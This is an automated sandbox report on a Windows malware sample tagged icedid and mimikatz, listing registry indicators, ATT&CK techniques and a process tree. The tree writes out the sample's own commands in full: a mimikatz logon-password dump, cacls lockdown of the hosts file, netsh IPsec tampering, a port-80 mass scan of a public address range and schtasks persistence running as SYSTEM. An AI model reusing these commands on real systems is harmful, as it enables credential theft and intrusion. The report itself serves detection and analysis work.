Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uedzbgtiz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skakke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aginbln.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aginbln.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-09-09_3fd08598bc0abea94be5d225a7b684b3_hacktools_icedid_mimikatz.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4208	cmd.exe
2524	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x0008000000023417-6.dat	nsis_installer_2
behavioral2/files/0x0008000000023429-15.dat	nsis_installer_1
behavioral2/files/0x0008000000023429-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 43 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	fmiclltfn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	fmiclltfn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	aginbln.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	fmiclltfn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	fmiclltfn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	fmiclltfn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	fmiclltfn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	fmiclltfn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	fmiclltfn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	fmiclltfn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	fmiclltfn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	fmiclltfn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	fmiclltfn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	fmiclltfn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	fmiclltfn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	aginbln.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	fmiclltfn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	fmiclltfn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	fmiclltfn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	aginbln.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	aginbln.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	aginbln.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	fmiclltfn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	fmiclltfn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	aginbln.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	aginbln.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	aginbln.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	aginbln.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2524	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1472	schtasks.exe
4988	schtasks.exe
4576	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
1540	2024-09-09_3fd08598bc0abea94be5d225a7b684b3_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	1540	2024-09-09_3fd08598bc0abea94be5d225a7b684b3_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	748	aginbln.exe
Token: SeDebugPrivilege	4000	aginbln.exe
Token: SeDebugPrivilege	1388	vfshost.exe
Token: SeDebugPrivilege	5092	fmiclltfn.exe
Token: SeLockMemoryPrivilege	3640	unzsbd.exe
Token: SeLockMemoryPrivilege	3640	unzsbd.exe
Token: SeDebugPrivilege	1852	fmiclltfn.exe
Token: SeDebugPrivilege	752	fmiclltfn.exe
Token: SeDebugPrivilege	4940	fmiclltfn.exe
Token: SeDebugPrivilege	4632	fmiclltfn.exe
Token: SeDebugPrivilege	4856	fmiclltfn.exe
Token: SeDebugPrivilege	2596	fmiclltfn.exe
Token: SeDebugPrivilege	2004	fmiclltfn.exe
Token: SeDebugPrivilege	3508	fmiclltfn.exe
Token: SeDebugPrivilege	4524	fmiclltfn.exe
Token: SeDebugPrivilege	2700	fmiclltfn.exe
Token: SeDebugPrivilege	1600	fmiclltfn.exe
Token: SeDebugPrivilege	1976	fmiclltfn.exe
Token: SeDebugPrivilege	3056	fmiclltfn.exe
Token: SeDebugPrivilege	4928	fmiclltfn.exe
Token: SeDebugPrivilege	2116	fmiclltfn.exe
Token: SeDebugPrivilege	1152	fmiclltfn.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1540	2024-09-09_3fd08598bc0abea94be5d225a7b684b3_hacktools_icedid_mimikatz.exe
1540	2024-09-09_3fd08598bc0abea94be5d225a7b684b3_hacktools_icedid_mimikatz.exe
748	aginbln.exe
748	aginbln.exe
4000	aginbln.exe
4000	aginbln.exe
1600	xohudmc.exe
2416	skakke.exe
2956	aginbln.exe
2956	aginbln.exe
2292	aginbln.exe
2292	aginbln.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1540 wrote to memory of 4208	1540	2024-09-09_3fd08598bc0abea94be5d225a7b684b3_hacktools_icedid_mimikatz.exe	85
PID 1540 wrote to memory of 4208	1540	2024-09-09_3fd08598bc0abea94be5d225a7b684b3_hacktools_icedid_mimikatz.exe	85
PID 1540 wrote to memory of 4208	1540	2024-09-09_3fd08598bc0abea94be5d225a7b684b3_hacktools_icedid_mimikatz.exe	85
PID 4208 wrote to memory of 2524	4208	cmd.exe	87
PID 4208 wrote to memory of 2524	4208	cmd.exe	87
PID 4208 wrote to memory of 2524	4208	cmd.exe	87
PID 4208 wrote to memory of 748	4208	cmd.exe	94
PID 4208 wrote to memory of 748	4208	cmd.exe	94
PID 4208 wrote to memory of 748	4208	cmd.exe	94
PID 4000 wrote to memory of 2632	4000	aginbln.exe	96
PID 4000 wrote to memory of 2632	4000	aginbln.exe	96
PID 4000 wrote to memory of 2632	4000	aginbln.exe	96
PID 2632 wrote to memory of 4912	2632	cmd.exe	98
PID 2632 wrote to memory of 4912	2632	cmd.exe	98
PID 2632 wrote to memory of 4912	2632	cmd.exe	98
PID 2632 wrote to memory of 3828	2632	cmd.exe	99
PID 2632 wrote to memory of 3828	2632	cmd.exe	99
PID 2632 wrote to memory of 3828	2632	cmd.exe	99
PID 2632 wrote to memory of 4872	2632	cmd.exe	100
PID 2632 wrote to memory of 4872	2632	cmd.exe	100
PID 2632 wrote to memory of 4872	2632	cmd.exe	100
PID 2632 wrote to memory of 4940	2632	cmd.exe	101
PID 2632 wrote to memory of 4940	2632	cmd.exe	101
PID 2632 wrote to memory of 4940	2632	cmd.exe	101
PID 2632 wrote to memory of 2772	2632	cmd.exe	102
PID 2632 wrote to memory of 2772	2632	cmd.exe	102
PID 2632 wrote to memory of 2772	2632	cmd.exe	102
PID 2632 wrote to memory of 1768	2632	cmd.exe	103
PID 2632 wrote to memory of 1768	2632	cmd.exe	103
PID 2632 wrote to memory of 1768	2632	cmd.exe	103
PID 4000 wrote to memory of 3772	4000	aginbln.exe	107
PID 4000 wrote to memory of 3772	4000	aginbln.exe	107
PID 4000 wrote to memory of 3772	4000	aginbln.exe	107
PID 4000 wrote to memory of 3016	4000	aginbln.exe	109
PID 4000 wrote to memory of 3016	4000	aginbln.exe	109
PID 4000 wrote to memory of 3016	4000	aginbln.exe	109
PID 4000 wrote to memory of 116	4000	aginbln.exe	111
PID 4000 wrote to memory of 116	4000	aginbln.exe	111
PID 4000 wrote to memory of 116	4000	aginbln.exe	111
PID 4000 wrote to memory of 1404	4000	aginbln.exe	115
PID 4000 wrote to memory of 1404	4000	aginbln.exe	115
PID 4000 wrote to memory of 1404	4000	aginbln.exe	115
PID 1404 wrote to memory of 1536	1404	cmd.exe	117
PID 1404 wrote to memory of 1536	1404	cmd.exe	117
PID 1404 wrote to memory of 1536	1404	cmd.exe	117
PID 1536 wrote to memory of 4480	1536	wpcap.exe	118
PID 1536 wrote to memory of 4480	1536	wpcap.exe	118
PID 1536 wrote to memory of 4480	1536	wpcap.exe	118
PID 4480 wrote to memory of 1540	4480	net.exe	120
PID 4480 wrote to memory of 1540	4480	net.exe	120
PID 4480 wrote to memory of 1540	4480	net.exe	120
PID 1536 wrote to memory of 4276	1536	wpcap.exe	121
PID 1536 wrote to memory of 4276	1536	wpcap.exe	121
PID 1536 wrote to memory of 4276	1536	wpcap.exe	121
PID 4276 wrote to memory of 3124	4276	net.exe	123
PID 4276 wrote to memory of 3124	4276	net.exe	123
PID 4276 wrote to memory of 3124	4276	net.exe	123
PID 1536 wrote to memory of 1308	1536	wpcap.exe	124
PID 1536 wrote to memory of 1308	1536	wpcap.exe	124
PID 1536 wrote to memory of 1308	1536	wpcap.exe	124
PID 1308 wrote to memory of 996	1308	net.exe	126
PID 1308 wrote to memory of 996	1308	net.exe	126
PID 1308 wrote to memory of 996	1308	net.exe	126
PID 1536 wrote to memory of 4612	1536	wpcap.exe	127

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2020
- C:\Windows\TEMP\zfdehzegb\unzsbd.exe
  "C:\Windows\TEMP\zfdehzegb\unzsbd.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3640

C:\Users\Admin\AppData\Local\Temp\2024-09-09_3fd08598bc0abea94be5d225a7b684b3_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-09-09_3fd08598bc0abea94be5d225a7b684b3_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1540
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\ihguignb\aginbln.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4208
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2524
- - C:\Windows\ihguignb\aginbln.exe
    C:\Windows\ihguignb\aginbln.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:748

C:\Windows\ihguignb\aginbln.exe
C:\Windows\ihguignb\aginbln.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4000
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4912
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3828
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4872
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4940
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2772
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1768
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3772
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3016
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:116
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\wcbiqigng\imbbbzfne\wpcap.exe /S
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1404
- - C:\Windows\wcbiqigng\imbbbzfne\wpcap.exe
    C:\Windows\wcbiqigng\imbbbzfne\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1536
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4480
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1540
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4276
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3124
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1308
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        
        PID:996
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:4612
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3108
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3532
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1768
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:4928
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2892
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:1508
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      PID:4812
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\wcbiqigng\imbbbzfne\nhkqndyng.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\wcbiqigng\imbbbzfne\Scant.txt
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4104
- - C:\Windows\wcbiqigng\imbbbzfne\nhkqndyng.exe
    C:\Windows\wcbiqigng\imbbbzfne\nhkqndyng.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\wcbiqigng\imbbbzfne\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:4004
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\wcbiqigng\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\wcbiqigng\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:4564
- - C:\Windows\wcbiqigng\Corporate\vfshost.exe
    C:\Windows\wcbiqigng\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1388
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "gfbbgwyue" /ru system /tr "cmd /c C:\Windows\ime\aginbln.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2576
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:744
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "gfbbgwyue" /ru system /tr "cmd /c C:\Windows\ime\aginbln.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4988
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "whinbeufb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ihguignb\aginbln.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3040
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4780
- - C:\Windows\SysWOW64\schtasks.exe
